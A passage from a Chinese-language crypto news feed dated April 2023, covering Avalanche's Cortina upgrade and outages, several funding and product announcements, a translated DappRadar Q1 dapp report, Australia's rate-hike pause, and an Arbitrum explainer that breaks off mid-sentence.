Cortina升级主要包括三部分：更改X链共识为雪人共识（Snowman++）将其线性化；引入批量委托人奖励；提升C链Gas上限。 X链运行雪人共识（Snowman++）将其线性化——在Avalanche公链中，X链采用的是基于DAG（有向无环图）的雪崩共识，可以同时处理多笔交易，而无需排序；但P链和C链及子网都是采用的是Snowman++共识，将以线性方式排列交易。 今年1月份，Avalanche为子网引入Avalanche Warp Messaging（AWM）的通信协议，允许子网之间相互共享数据及加密资产。 但由于共识的不同，X链无法与与AWM集成，无法与子网信息互通。这次Cortina升级将X链共识更改为雪人共识，相当于是将Avalanche全链打通。 引入批量委托人奖励——自Avalanche网络启动以来，验证者会向节点委托人收取服务费，P链在每个委托期间将此费用作为单独的UTXO进行分配给验证者。随着过去几个月网络上委托人数量的大幅增加，截至3月20日达到8万人，验证者可能收到的作为费用的UTXO数量也大幅增加。这意味着验证者最终会得到数以千计的小UTXO，这些UTXO必须聚合起来才能用于任何事情。 Cortina修改了这些委托费用分配方式，将其批量化处理。在Cortina激活后开始质押的所有验证者，委托费用将在节点取消质押时集中分配。 提升C链Gas上限——C链区块的Gas限制从8M增加到15M，区块GAS限制除了可以限制在某个时间段的Gas价格外，还限制了可以在单个区块中发布的交易的复杂性。 提升Gas费限制不但可以调整Gas费的消耗量，还有利于开发人员开始部署更复杂的dApp。 总的来说，Avalanche Cortina升级不但优化了X链，实现了Avalanche生态内全链信息互通，Gas上限的提升还为开发者构建复杂的应用及交易提供了便利。 另外，需要注意的是，在测试网Fuji上成功完成Cortina升级之前，官方将公布Avalanche主网激活时间，并发布官方AvalancheGo最新版本v1.10.0，届时节点运营商也需要将AvalancheGo更新为最新版本，否则，将会影响质押奖励。 相较于产品底层技术的更新变化，用户更易于感知链上生态数据变化。 其实，Avalanche这两次宕机事件，在加密市场上并没有引起太多关注。以至于在3月23日Avalanche C第一次出现停止出块时，Conflux联合创始人Fan Long发推感概“对社区接受区块链网络中断作为常态感到困惑。似乎没有人报道，甚至没有人关心它。我们现在只关注Token的价格吗？”。 在第二次宕机后，还有用户在社交媒体上发文询问，Avalanche在不到3天时间内由于新软件版本中的错误而停止运转两次，我为什么没有看到任何人谈论这件事，如果这发生在Solana上，将会有大量项目外流。有人会因为网络不稳定而离开Avalanche吗？。 不过这些现象也从侧面反映出Avalanche链上用户活跃度不高。 根据DefiLlama数据显示，4月3日，24小时活跃的地址数为25239， Avalanche链上锁仓的加密资产TVL仅为8.36亿美元，自2022年11月以来近半年来一直维持在这个水平，相较于2022年高峰时期的上百亿美元，市值缩水至最高点的十分之一。Avalanche C链日活用户数自去年11月份一直在3万个左右，而在去年链上爆发期每日活账户可达141583 个。 从链上数据来看，Avalanche链上生态发展已进入停滞期 。另外，链上用户活跃度的降低也致使生态原生应用出走寻找新的用户增长点及新机会。近日在Arbitrum上大方光彩的GMX、Trader Joe等平台最初都来源于Avalanche链，近日Trader Joe在Arbitrum链上TVL已增至2890万美元，与Avalanche链上的2989万美元TVL不相上下。 除生态应用的流失外，Avalanche的竞争对手越来多，不仅有同一时期的BSC、Solana、Polygon、Fantom等同类竞品，还有专注于高性能的Aptos、Sui等新生公链，以及正在热度上的Arbitrum、Optimism等Layer2层公链。 Avalanche开发商Ava Labs创始人Emin Gün Sirer在3月25日的采访中表示，近年来，加密生态系统中涌现出许多L1区块链，从现在起3到五5年内，大量的L1区块链将“被淘汰”。他认为，已经有太多的L1基本上是在抄袭其他人的剧本，向市场带来了市场不需要的东西。报道中，并没有提到Avalanche近期停止出块的事件。 Avalanche要如何才能不被市场淘汰，从这些公链中长期占据一席之位呢？如今的公链发展已经不单是技术上的比拼，还需要比较链上生态是否繁荣、及项目方运营能力能否打造自己的专属特色。比如，同一时期的Polygon已经从一个侧链进化为ZK扩容方案聚合器，星巴克、迪士尼等传统企业发行NFT的首选合作方。 从Avalanche公开动作来看，它已经在开始探索除DeFi等应用生态以外的新使用场景，包括NFT及与传统企业的合作。 3月30日，Avalanche 基金会启动NFT计划Avaissance，旨在通过专门的指导、财务支持和DAO组织管理来推动Avalanche NFT生态系统的发展。此外，今年1月份，电商平台Shopify支持平台上线上商家直接出售和铸造Avalanche链上NFT，电竞平台TSM与Avalanche合作为玩家解锁Web3体验等等。 不过，从链上数据及市场用户反应来看，这些动作目前还没有给Avalanche带来立竿见影的效果。对此现象，也有用户表示，Avalanche有自己的发展步调，其链上生态发展的已经相对完整，且开发也一直也在进行中，只是声势不如Aptos及Layer2等新公链而已。相较于Layer2这些新生公链，Avalanche这些老牌公链已经经历过长时间的安全考验，等热度过后，开发者还是会回来部署的。  ( 2 min )
    音乐NFT平台OneOf收购了区块链奖励公司Tap Network
    PANews 4月4日消息，据CoinDesk报道，音乐NFT平台OneOf宣布收购了区块链奖励工具Tap Network，旨在帮助公司在Web3 中与其消费者建立联系。OneOf将推出OnePlatform，这是一个turnkey选项，适用于希望扩展到Web3的公司，结合了电子商务、数据和忠诚度计划的元素。据悉，Tap Network成立于2018年，允许消费者用忠诚度积分兑换加密货币，它已与互联网浏览器Brave、打车公司Uber、娱乐公司华纳音乐集团等公司建立了合作关系。  ( 1 min )
    巴西投行BTG Pactual将推出美元稳定币BTG Dol
    PANews 4月4日消息，据路透社报道，巴西投资银行BTG Pactual周二表示，将推出一种1:1锚定美元的稳定币“BTG Dol”。BTG Dol将上线该银行旗下的加密资产平台Mynt，以及可以通过BTG Pactual自己的投资系统访问。BTG表示，该资产是寻求将其投资组合“美元化”的投资者的新工具，并补充说，它将为该资产提供“完整的安全框架，如尽职调查、反洗钱和合规流程。”  ( 1 min )
    Aave社区发起将Aave V3部署至BNB Chain的ARFC提案
    PANews 4月4日消息， Aave社区发起将Aave V3部署至BNB Chain的ARFC提案。提案指出，经Aave社区批准后，Aave V3将部署在BNB Chain上，并选择合适的资产作为抵押品，包括BNB、WBTC、BETH、WETH、USDC和USDT。此部署旨在加强Aave和BNB Chain社区之间的发展和协作，为两个生态系统提供新的机会。  ( 1 min )
    DappRadar一季度Dapp研报：DeFi TVL超过830 亿美元，Layer2虹吸效应明显
    来源：《NFT Marketplace War Doubles Trading Volume in First Quarter》by DappRadar 编译：比推BitpushNews Mary Liu 2023 年第一季度的 dapp 行业经历了高潮和低谷，链上指标和市场趋势出现波动。 然而，总体情绪仍然乐观，因为加密行业继续展示出弹性。   1. Dapp行业概况 在 dapp 行业经历了一个充满活力的季度之后，与去中心化应用程序交互的每日唯一活跃钱包 (dUAW) 的数量与上一季度相比下降了 9.7%。 平均每天有 1,735,570 个钱包连接到 dapp，尽管有所下降，但某些细分类别和区块链仍显示出增长。 区块链游戏继续占据行业主导地位，Q1平均dUAW为791,474，环比下降8.58%。 该类别在行业中占据 45.6% 的主导地位。 而 DeFi 在 2023 年 Q1 的平均 dUAW 为 399,522，环比下降 14.73%，在 dapp 行业中占据 23% 的优势。 社交 dapp 已成为业界最受欢迎的垂直领域之一。 该类别包括用于社交网络、消息传递和内容创建的所有 Web3 平台，在 2023 年第一季度平均有 210,644 个 dUAW。与上一季度相比，该类别下降了 4.9%，但自 2022 年第三季度以来增长了惊人的 2,250%，社交 dapp 目前占 DappRadar 链上活动的 12%。 区块链方面，BNB Chain 仍是本季度最活跃的区块链，平均 449,543 dUAW，尽管环比下降 28.62%。 其次是Wax，在过去 3 个月中增长了 9%，平均达到 397,273 dUAW。 Polygon 经历了一个强劲的季度，其每日独立活跃钱包数增长了 25.93%，达到每天 197,343 个独立钱包数。 然而，本季度表现最好的是 Arbitrum，增长了 125.83%，平均达到 46,071 dUAW。 我们可以将这种增长归因于 3 月份的 Arbitrum 空投，它激励用户与区块链进行交互。 我们将在下面的几个部分中分析这些数字和 Arbitrum 生态系统。 DeFi 行业在 2023 年第一季度一直备受关注，DeFi 的总锁仓价值 (TVL) 在本季度末达到 833 亿美元。 这比上一季度显著增长了 37.44%，表明人们对去中心化金融的兴趣越来越大。 Arbitrum、Fantom 和 Optimism 等扩展解决方案的流行做出了贡献。 值得注意的是，本季度以太坊的价格上涨了 48%，在撰写本文时达到 1,803 美元。 本季度，推动围绕 DeFi 炒作的主要因素之一是备受期待的 Arbitrum 空投，吸引了交易员的大量关注。 然而，在 3 月 11 日，在 SVB 崩溃和随后的 USDC 脱钩之后，DeFi 市场经历了TVL 大幅下降，从 792.8 亿美元下降 9.6% 至 716.1 亿美元。 这在投资者中造成恐慌，导致大量抛售和 TVL 下降。 幸运的是，在 3 月 13 日，硅谷银行持有的 USDC 准备金存款已完全向公众开放，这有助于稳定市场。 该公告导致 DeFi TVL 飙升 13%，达到 811.5 亿美元，但最重要的是，它帮助市场迅速重获信任，并在整个过程中显示出稳健性。 在 DeFi 领域的顶级区块链协议方面，以太坊以 558 亿美元的 TVL 占据主导地位。 这比上一季度增长了 48.32%，占整个 DeFi TVL 的 66.95%。 BNB Chain 以 20.69% 的增幅位居第二，2023 年第一季度达到 72 亿美元，其中 PancakeSwap 仍然是业内使用最多的 dapp，3 月份 UAW 为 137 万。 Tron 仍然是 TVL 的第三大区块链，价值 52 亿美元，在美国证券交易委员会对孙宇晨和 Tron 基金会的指控中增长了 17.55%（包括对 TRX 是证券的指控）。 尽管如此，TVL 一直保持相当稳定。 Arbitrum 和 Optimism 保持了他们在 TVL 区块链前 10 名中的地位，并且他们的主导地位继续增加。 Arbitrum 是本季度表现最好的项目之一，增长了 118.40%，达到 32 亿美元。 本季度Optimism 达到 10 亿美元，比上一季度增长 85%。 这表明 Layer-2 解决方案在 DeFi 领域越来越受欢迎。 令人惊讶的是，Solana 的 TVL 增长了 127.05%，达到 7.91 亿美元。 这一增长似乎是由最近推出的 DAO 构建工具 SPL Governance 推动的，该工具的 TVL 已经达到 1.7975 亿美元。 此外，Solana 的代币 SOL 本季度也增长了 115%。 3月23日，备受期待的Arbitrum代币空投发生，引发加密社区狂热。 以太坊第二层扩容解决方案向超过 600,000 名用户分发了超过 10 亿个 ARB 代币，使该代币的市值稳定在 15 亿美元附近。在 Claims 和 Trading 模式开启之间，3 月 23 日的日交易量为 2,728,907，超过了 Ethereum 或 Optimism。 虽然该代币的价格在发布当天达到 11.80 美元的最高点，但此后一直稳定在 1.23 美元左右，目前的市值使其领先于最接近的竞争对手 Optimism。 除了个人用户，ARB 代币还将分发给生态系统中最成功的去中心化应用程序 (dapps)。 最近几个月，Uniswap、Aave 和 OpenSea 等流行的 Web3 公司已经转移到 Arbitrum，利用它与以太坊区块链架构的相似性。 Arbitrum 上最成功的项目之一是去中心化交易所 (DEX) GMX，它允许其用户通过称为永续期货的金融工具进行杠杆交易。 此外，GMX 已将自己定位为 Arbitrum 的 DeFi 领域的领导者，占所有 TVL 的 80% 以上。 区块链上还有专门用于游戏和 NFT 的 dapp，Treasure 迅速成为业内著名的 Web3 游戏工作室。 Arbitrum 的代币分发不仅限于用户和 dapp，还通过 DAO 分发给社区。 Arbitrum 基金会旨在去中心化其网络，让社区能够控制其生态系统和技术。 这次空投和 DAO 只是其为所有子社区提供发言权的众多计划中的一小部分。 需要注意的是，所有投资人和团队代币都有四年的锁定期，第一次解锁发生在一年内，其余三年每月解锁一次。 Arbitrum 作为以太坊可扩展性解决方案的潜力是不可否认的，空投和 ARB 代币可以帮助它取得重大进展。 然而，用户必须保持谨慎，避免成为网络钓鱼诈骗和其他欺诈的受害者。 社交 dapp 正在成为区块链行业的新趋势，越来越多的去中心化应用程序被开发出来以促进用户之间的社交互动和协作。 这些 dapps 利用区块链技术来确保数据隐私、安全和透明度，并提供用户配置文件、消息系统和内容共享功能等功能。 Hooked 是领先的社交 dapp 之一，它是一款基于 BNB 的 dapp，在 2023 年第一季度平均每天有 120,584 个唯一活跃钱包 (dUAW)。Hooked 是一种社区驱动的社交协议，提供游戏化体验并集成了钱包和去中心化标识符（ DIDs）进入其生态系统。 Galxe 是另一个流行的社交 dapp，拥有 39,953 个 dUAW，旨在构建一个开放和协作的凭证数据网络，供 Web3 中的所有开发人员访问。 拥有 30,407 dUAW 的 CyberConnect 是一种去中心化的社交图谱协议，使用户能够在 BNB Chain 上创建个人资料作为其去中心化身份的锚点。 Lens Protocol 平均拥有 3,146 个 dUAW，为去中心化社区提供了一个平台来创建和管理自己的治理机制。 最后，拥有 2,405 dUAW 的 Phi 是一个基于 ENS 和链上/链下钱包活动的社交平台，可实现链上身份的可视化。 社交 dapp 的出现是区块链行业的重大发展，因为它代表了向 web3 和数据所有权的转变。 这些 dapp 为用户提供了对其数据的更大控制权，并使他们能够以去中心化和安全的方式进行交互和协作。 随着行业的不断发展，我们可以期待看到更多社交 dapp 的出现，并进一步改变我们在线互动和交流的方式。 NFT 市场今年开局不错，2023 年第一季度是自 2022 年Q2以来最好的一个季度。尽管 3 月份交易量略有下降，但整体表现亮眼。 NFT 市场在第一季度的交易量增长了 137%，总价值达到 47 亿美元。 在 2 月份因 Blur 代币而膨胀后，3 月份的交易量下降了 15.65%。 3 月份 NFT 销量仅下降 4.63%，售出 270 万个 NFT。 然而，2023 年第一季度 NFT 总销量为 1940 万，比 2022 年第四季度增长了 8.56%。 按数量计算，以太坊仍然是 NFT 市场的主导区块链，占 3 月份市场份额的 89.50%。 此外，与 2022 年第四季度相比，以太坊的季度交易量在 2023 年第一季度增长了 245.43%，达到 41 亿美元。 CryptoPunks 是以太坊上交易量最大的 NFT 系列，交易量为 2.41 亿美元，环比增长 1,214%。 2023 年 3 月，Yuga Labs 的 NFT 收藏量在以太坊上占据主导地位，占以太坊上 NFT 总量的 38.61%，占整个 NFT 行业的 34.55%。 令人意外的是，Solana 以 2.42 亿美元的交易额位居第二，环比增长 4.55%。 NFT 合集 Monkey Kingdom 在 3 月份推动了 Solana NFT 协议，交易量达到 790 万美元，比 2 月份翻了一番。 早在 12 月，Solana 上两个最受欢迎的 NFT 系列宣布它们将成为连接以太坊和 Polygon 的桥梁，3 月 27 日，DeGods 和 y00ts 的联合创始人之一宣布在 Polygon 上首次销售 y00ts，这标志着其中一个系列的桥接成功。 此外，Polygon 今年开局良好，3 月份的交易量为 2980 万美元，尽管比上月下降了 24.20%。 然而，从季度数据来看，它在 2023 年第一季度的交易量为 8500 万美元，环比增长了 125.04%，是 2021 年第四季度以来最好的季度之一。 最近几个月，Polygon 在 NFT 创作者中的受欢迎程度一直在上升。 这是因为与其他区块链相比，它的费用低且交易时间快，这使其成为那些希望推出和交易 NFT 的人的一个有吸引力的选择。 除此之外，3 月 8 日，加密货币交易所 Binance 宣布推出 Binance NFT，Polygon 网络已被纳入其市场支持的区块链中。 总体而言，2023 年Q1，NFT市场整体表现可圈可点，环比增长137.04%。 以太坊的霸主地位和 Polygon 的日益普及成为一季度 NFT 市场表现的主要亮点。 NFT市场正在迅速发展，随着新玩家的出现。 2023 年第一季度，Blur 主导了 NFT 市场，交易量和市场主导地位增加。 该市场的交易量为 27 亿美元，比 2022 年第四季度增长了 783.89%，市场支配率为 57.44%。 3 月份，尽管交易量下降 6.56% 至 12 亿美元，但 Blur 仍占据市场 70.5% 的主导地位。 Blur 的崛起归功于其独特的功能和产品。 专业交易员涌向 Blur 的重要原因之一是它向用户承诺，它将通过未来的 BLUR 代币空投来奖励他们，在下一个赠送“季节”期间总计约 3 亿个 BLUR。 该代币的完全稀释市值为 25 亿美元，Blur 团队非常愿意发挥其财务影响力来吸引 NFT 交易者坚持使用他们。 另一方面，曾经是 NFT 市场领导者的 OpenSea 现在面临来自 Blur 的激烈竞争。 2023年Q1，OpenSea录得68.41%的季度增幅，交易额达14亿美元，市场占有率达31.10%。 然而，在 3 月份，OpenSea 的交易量下降了 35% 至 3.81 亿美元，其市场支配地位为 22%。 这是自 2021 年 2 月以来最小的市场份额。 CryptoPunks NFT 系列的本地市场成为 3 月份表现最好的 NFT 市场之一，交易量达到 3000 万美元。 该市场比上个月增长了 90.46%，是自 2022 年 7 月以来的最高金额。 值得一提的是，CryptoPunks 目前正在 Blur 市场上进行大量交易活动。 根据最近的数据，在 Blur 上发生了 CryptoPunks 总交易量的惊人 87%，达到了惊人的 2.16 亿美元。 更有趣的是，Blur 上的平均交易规模比 CryptoPunk 原生 NFT 市场低 7.34%，平均交易规模为 114,453.69 美元。 虽然 Blur 的崛起令人印象深刻，但市场需要谨慎对待其如何管理其用户群和感知其忠诚度。 更重要的是，需要考虑 Blur 崛起对其他领域的主导地位所产生的连锁反应。 NFT 世界应该庆祝这样一个事实，即有这样一个专注且富有创造力的平台致力于满足交易者的需求。 尽管如此，当一个市场或用户的繁荣以另一个市场的直接或间接损失为代价时，大问题可能会开始浮现。 Blur 声称 OpenSea 是 NFT 生态系统中的一个中心化对手，但让一群只有几百个 NFT 巨鲸来支付版税和市场主导地位也不是最去中心化的系统。 Web3 生态系统需要确保其创新并满足该领域每个人群的需求，而不仅仅是专业交易者。 与其让他们想知道哪个平台会以何种方式兑现他们作品的版税，不如有一种去中心化的方式让艺术家和项目负责人自己控制。 总之，Blur 在 2023 年第一季度崛起成为 NFT 市场的主导地位令人印象深刻。 然而，NFT 生态系统需要确保它能够满足该领域每个人群的需求，而不仅仅是专业交易者。 重点需要放在生态系统的长期增长和可持续性上，而不仅仅是短期收益。 根据 REKT Database 的数据，2023 年第一季度因黑客攻击和漏洞利用而损失的资金总额为 3.73 亿美元，与上一季度的 50 亿美元相比大幅下降 92.60%。 然而，这并不意味着加密市场完全没有安全问题。 第一季度发生的最著名的黑客攻击之一是对 Euler Finance 的攻击，导致数百万美元的各种加密货币被盗。 攻击者窃取了近 1.96 亿美元，包括 DAI、USD Coin、StETH和 Wrapped Bitcoin (WBTC)。 该攻击是通过闪电贷攻击进行的，该攻击利用多链桥将资金从 BNB 智能链转移到以太坊。 资金随后被存入加密混合器 Tornado Cash，使得追踪和追回被盗资金变得困难。 根据 BlockSec 的一条推文，Euler 漏洞利用者于 3 月 25 日向 Euler Finance 返还了 51,000 ETH。 然而，部分赃款仍留在黑客手中。 第一季度发生的另一个重大黑客攻击是 BonqDAO 和 AllianceBlock 漏洞利用，攻击者操纵 BonqDAO 价格预言机来提高 WALBT 价格。 这种操纵使攻击者可以铸造超过 1 亿 BEUR，然后用于操纵 WALBT 价格并清算多个资金库， 攻击者能够提取非法收益，共计 1.138 亿 WALBT 和 9800 万 BEUR，价值超过 1000 万美元。 有趣的是，第一季度发生的黑客攻击有一半以上发生在 BNB Chain上，其中 18.2% 发生在以太坊上，9.1% 发生在 Polygon 上。 这凸显了在这些链上加强安全措施的必要性，以及用户在进行交易时要格外警惕。 值得注意的是，2023 年 1 月是黑客攻击最少的月份之一，总共损失了 1460 万美元。这可能是一个积极的迹象，表明该行业正在更加重视安全问题，并且实施更好的措施来防止黑客攻击和漏洞利用。 过去几年，区块链游戏行业一直在稳步增长，2023 年前 3 个月也不例外。 尽管 3 月份与游戏 dapp 进行链上交互的每日独立活跃钱包 (dUAW) 略有下降，但该行业在过去一个季度的主导地位总体上有所上升。 3月，与游戏dapp链上交互的日独立活跃钱包数为741,567，环比下降3.33%。 从季度表现来看，环比下降8.58%，平均连接865,783 dUAW。 尽管这些数字可能看起来令人失望，但必须考虑到该行业仍然相对较新并且在不断发展。 2023 年第一季度，区块链游戏呈现出增长的看涨迹象，主导地位从 2022 年第四季度的 42.87% 增加到 2023 年第一季度的 45.60%。这意味着尽管 dUAW 数量减少，但区块链游戏成为更大的一部分 Web3 生态系统的一部分。 硅谷银行 (SVB)最近的倒闭引发了一场关于稳定币监管必要性的讨论。 稳定币是由储备资产（通常是美元）支持的数字货币，旨在保持稳定的价值。 由 Circle Financial 发行的USDC是 1000 亿美元以上稳定币市场的领导者之一。 然而，当 SVB 倒闭时，Circle 透露其在关闭的银行中有 33 亿美元的存款，导致该稳定币在大约三天内低于 1 美元的挂钩汇率，低至 88 美分。 该事件凸显了一个事实，即稳定币市场迫切需要一套道路规则。 虽然 Circle 和其他稳定币声称为他们铸造的每一数字美元持有 1 比 1 的抵押品，但 Circle 持有 110 亿美元 的未保险银行账户，这些账户并不像想象的那样安全。 另一方面，Tether 公开承认其数十亿的稳定币储备以公司债券、担保贷款、贵金属甚至其他加密货币的形式持有。 在经历了充满活力的 2023 年第一季度之后，dapp 行业经历了相当大的起伏。 尽管如此，链上指标和市场趋势表明，加密空间仍有望增长，未来依然光明。 与上一季度相比，2023 年第一季度与 dapp 进行链上交互的每日唯一活跃钱包 (dUAW) 减少了 14.07%。 然而，尽管有所下降，DeFi 锁仓总价值 (TVL) 仍增加至 833 亿美元，显示了去中心化金融领域的弹性。 与此同时，NFT 市场在 2023 年第一季度表现强劲，交易量增长 137.04% 至 47 亿美元，为 2022 年第二季度以来的最高水平。尽管 3 月份略有下降，但 NFT 继续吸引投资者和收藏家的关注。 2023 年第一季度的一个显著趋势是区块链游戏的主导地位日益增强，目前占所有链上活动的 45.60%。 ImmutableX 和 Polygon 等平台在游戏领域处于领先地位，它们的合作伙伴关系和创新正在为 Web3 游戏的未来铺平道路。 然而，加密空间并非没有挑战。 2023 年第一季度，由于黑客攻击和漏洞利用，损失了 3.73 亿美元的资金。 这比上一季度的 50 亿美元大幅下降了 92.60%，显示了区块链生态系统的弹性和适应性。 硅谷银行的倒闭也凸显了稳定币监管的必要性。 随着越来越多的传统金融机构进入加密领域，我们必须制定明确的指导方针和法规，以确保市场的稳定和安全。 尽管存在这些挑战，但加密货币市场的整体情绪是乐观和看涨的。 2023 年第一季度展示了区块链生态系统的弹性和适应性，链上指标和市场趋势表明未来依然光明。  ( 8 min )
    10连加息结束！一文读懂：为何澳暂停加息对全球影响重大？
    财联社4月4日讯（编辑 潇湘）在此前连续十次议息会议宣布加息之后，澳洲联储本周二（4月4日）终于如市场预期，停下了继续加息的脚步——澳洲联储在今日决议中将政策利率维持在了3.6%的高位水平。 尽管澳洲联储并非是本轮加息周期中首个暂停加息的主要发达国家央行——加拿大央行在上个月已经率先采取了按兵不动的举措，但该联储仍是欧美银行业危机爆发后，首个作出这一转变的央行。 而在一些业内人士看来，今日澳洲联储的利率决定和明日新西兰联储的议息会议，对全球市场而言，可能也有着至关重要的指示性意义。 加拿大皇家银行(97.58,2.00,2.09%)悉尼分行的宏观利率策略师Robert Thompson在今日澳洲联储决议出炉前就表示，全球将密切关注澳洲联储和新西兰联储作为“煤矿中的金丝雀”的潜在预警作用。 他当时就预计澳洲联储在周二的会议上将暂停加息，同时新西兰联储明日预计将会把加息幅度放缓至25个基点，但如果新西兰联储也意外地跟随澳洲联储地维持利率不变，将引发全球债券市场的大幅上涨。 Thompson表示，“新西兰联储通常更加领先于全球周期。澳洲联储的做法则通常更为保守，如果他们都暂停加息，这很可能是出于天生的谨慎嗅觉，同时对全球其他地区也并非是一个良好信号。” 以下是业内人士认为的澳洲两大央行本周决策的四点重要意义： 早在2021年，新西兰联储便率先成为了最早采取加息行动的发达经济体央行，当时美联储甚至仍在暗示通胀将是暂时性的。而在今年，澳洲联储的转变也极为具有指示性意义。2月正是澳洲联储的鹰派言论为当月的全球债券市场抛售拉开了序幕，随后在上个月的银行业危机中，市场对利率预期暴跌，澳洲联储今日又率先转向了另一个方向。 市场对澳洲联储未来利率定价的转变，堪称是全球主要发达经济体央行中最大的。利率市场现在的定价是，本轮澳洲联储的加息周期就将在目前3.6%的水平结束。而相比之下，2月时的峰值利率定价还一度超过了5%。显然，在主要发达经济体中，澳洲联储利率路径对金融市场情绪的变化展现出了最大敏感性。 目前，全球国债收益率曲线倒挂的现象其实已比比皆是，收益率曲线的倒挂反映了各国经济陷入衰退的风险大增。然而，澳洲国债其实是目前少有的并未呈现大面积倒挂的地方，这自然也预示着澳洲经济眼下可能尚无衰退之忧。但这无疑也抛出了一个问题：无衰退之忧的澳洲联储都暂停了加息，经济下行压力更大的欧美央行又还能撑多久？ 在过去一年爆发的所有三次全球债市反弹行情中，澳洲国债都堪称是引领者，但每次当央行继续致力于加息时，多头们都崩溃了。而这一次，澳洲联储终于停下了加息的脚步，这无疑也将鼓舞全球债市多头们的信心。无论是澳大利亚还是新西兰债券，它们中的很大比例都由海外投资者持有，南太平洋的利率政策冲击可能在本周波及全球。  ( 1 min )
    加密交易平台Bitget获得Dragonfly 1000万美元战略投资
    PANews 4月4日消息， 据PR Newswire报道，总部位于旧金山的加密风险投资公司Dragonfly Capital宣布对加密衍生品交易所Bitget进行1000万美元的战略投资。这笔投资将支持Bitget正在进行的全球市场和服务范围的扩张，以及开展更多加密资产相关的公益教育行动。 Bitget的董事总经理Gracy Chen 表示：“Bitget作为过去12个月增长最快的交易所，这项投资是对我们在熊市中专注建设的认可。除了资金上的支持，我们更看重Dragonfly在加密领域的专业和经验。同时，其庞大的投资组合也有助于我们构建覆盖从CeFi到DeFi的加密生态。” 此前消息，Bitget以3亿美元的估值追加投资3000万美元，收购了加密钱包BitKeep的控股权。  ( 1 min )
    Layer2百链大战中，为什么Arbitrum能脱颖而出成为龙头？
    原文：《Arbitrum：惊人的Layer2速度》 作者：Ebunker 以太坊 Layer2 解决方案的发展势头仍然强劲，以太坊 2.0 已经承诺了可扩展性的保证。这表明在以太坊未来中，Layer2 解决方案的重要性广受认可。在加密货币中，「更快的速度」总是受欢迎的，而 Layer2 解决方案将提供更多速度。本文将介绍其中一种备受关注的 Layer2 扩展解决方案：Arbitrum。 Arbitrum 是一个基于 Optimistic Rollups 的 L2 区块链。它由 Offchain Labs 在 2021 年开发。Offchain Labs 由一组由世界级的区块链研究人员和软件工程师组成的团队创立，包括 Steven Goldfeder（首席执行官）、Harry Kalodne（首席技术官）和 Ed Felten（首席科学家）。 Arbitrum 运行两条并行的链：一条 Roll-up 链称为「Arbitrum Nitro」，另一条 AnyTrust 链称为「Nova」。Arbitrum Nitro 遵循 Optimistic Rollup 的特征操作，即将交易数据捆绑到以太坊链上进行存储。 而 Nova 则依靠第三方称为外部数据可用性委员会存储交易数据，并根据需求进行产生。通过避免将交易数据捆绑到以太坊链上，交易费用大大降低。Nova 最适合游戏项目、DApps 和社交项目。Arbitrum 链的一个显著特点是其惊人的速度。Arbitrum 链的处理速度可以达到每秒 40,000 笔交易。 Arbitrum 运行一个虚拟机（Arbitrum Virtual Machine），它与以太坊虚拟机（EVM）上的编程语言（如 Solidity 和 Vyper）兼容。这对于以太坊开发人员来说非常有吸引力，因为他们无需重写代码就可以在 Arbitrum 链上部署其应用程序。这使得 Arbitrum 比其他 Optimistic Rollup 解决方案如 Optimism 更具优势。 相比之下，Optimism 虚拟机（OVM）仅支持 Solidity 编程语言，从而限制了它与以太坊虚拟机的兼容性。因此，在 OVM 上，一些 EVM 兼容的交易可能无法正确编译。这使得 Arbitrum 成为大多数寻求在更可扩展的平台上部署其以太坊 DApps 在以太坊网络上，Layer2 扩容技术已经成为了热门话题。Arbitrum 是其中一个备受关注的技术，它使用了多轮欺诈证明（或交互证明）来解决验证者提出的挑战。相比其他 optimistic rollups 技术，如 Optimism，Arbitrum 使用的是多轮证明，而非单轮证明。 在单轮证明中，整个断言或交易块将重新计算以验证其内容是否有效。而在多轮欺诈证明中，只有有争议的交易会被重新计算，这需要更少的工作量，因此消耗更少的 gas 费用，是两者中最受欢迎的技术。 此外，Arbitrum 还涉及到去中心化治理。最近在 2023 年 3 月 23 日，Arbitrum 进行了空投，并成立了 Arbitrum DAO（去中心化自治组织）。持有 $ARB 代币的 DAO 成员将能够参与 Arbitrum 链的治理，即他们可以使用 $ARB 代币投票决定直接影响 Arbitrum 链的政策。需要注意的是，这些代币仅用于治理目的，以太坊仍然是交易的默认货币。 Arbitrum 为此推出了 AIP。它的目标是建立一个去中心化的治理系统，鼓励社区成员参与到政策制定中来。通过给代币持有人在平台发展中的发言权，AIP-1 旨在增强 Arbitrum 社区的参与度和互动性。 然而，与其他新倡议一样，Arbitrum 社区在推动 AIP-1 的批准过程中遇到了一些问题。但是，Arbitrum 基金会已经发表了详细的解释。同时，基金会还解决了社区提出的两个重要问题：首先，他们确认没有出售 5000 万 $ARB 代币；其次，他们提供了 750 万 $ARB 代币最初分配的详细原因。 我们都知道目前建立 DAO 面临许多障碍，其中一个难题就是「先有鸡还是先有蛋」的困境。为了解决这个问题，AIP-1 希望通过让社区参与到初步选择和架构中来，来展示代币持有人的支持，从而引导平台的发展方向。 Arbitrum 的原生代币 ARB 用于治理。Arbitrum 的开发人员 Offchain Labs 已经宣布过渡到去中心化自治组织（DAO）结构 — — Arbitrum DAO。ARB 持有人有能力决定影响功能、协议升级、资金分配和安全委员会选举的想法。 Arbitrum 有雄心勃勃的 2023 年计划，其中包括以下内容：推出自己的 Layer3 解决方案 Orbit；允许开发人员使用 Stylus 部署使用流行编程语言（如 Rust、C++ 等）编写的程序；引入一个新的第四层解决方案 Orbit。增加其验证器集中独立机构验证器的数量；Arbitrum One 正在将其协议迁移到 Layer2。 截至撰写本文时，ARB 的交易价格为 1.3 美元，全球市值为 15.7 亿美元，全球交易量为 27.8 亿美元，流通供应量为 12.75 亿枚 ARB，总供应量为 100 亿枚 ARB。 目前，Arbitrum 是以太坊网络中最大的 Layer2 链，其总锁定价值（TVL）超过了 Optimism 和 Polygon 的总和，也超过了 Avalanche 和 Solana 等大型 L1 玩家。许多以太坊知名项目都已经部署在了 Arbitrum 上，包括 Uniswap、Sushi 和 Aave 等。 社交媒体巨头 Reddit 在 2021 年 7 月宣布，将利用 Arbitrum 技术来扩展其社区点奖励计划。未来，我们很可能会看到更多主流机构采用 Arbitrum 技术。 Arbitrum 生态中有很多有趣的项目，除了从以太坊迁移过来的 Uniswap，AAVE 之外，还有包括 GMX、Treasure DAO、Radiant 和 Camelot 等。本文将介绍其中的四个代表项目。 GMX 是一个去中心化永续协议，允许用户可以获得 30 倍杠杆，成为真正的去中心化衍生品交易所。该协议依靠 GLP 作为资金池，提供的交易滑点非常低，成为 Arb DeFi 生态的重要组成部分。 Treasure DAO 是一个去中心化游戏平台，允许建设者使用 $MAGIC 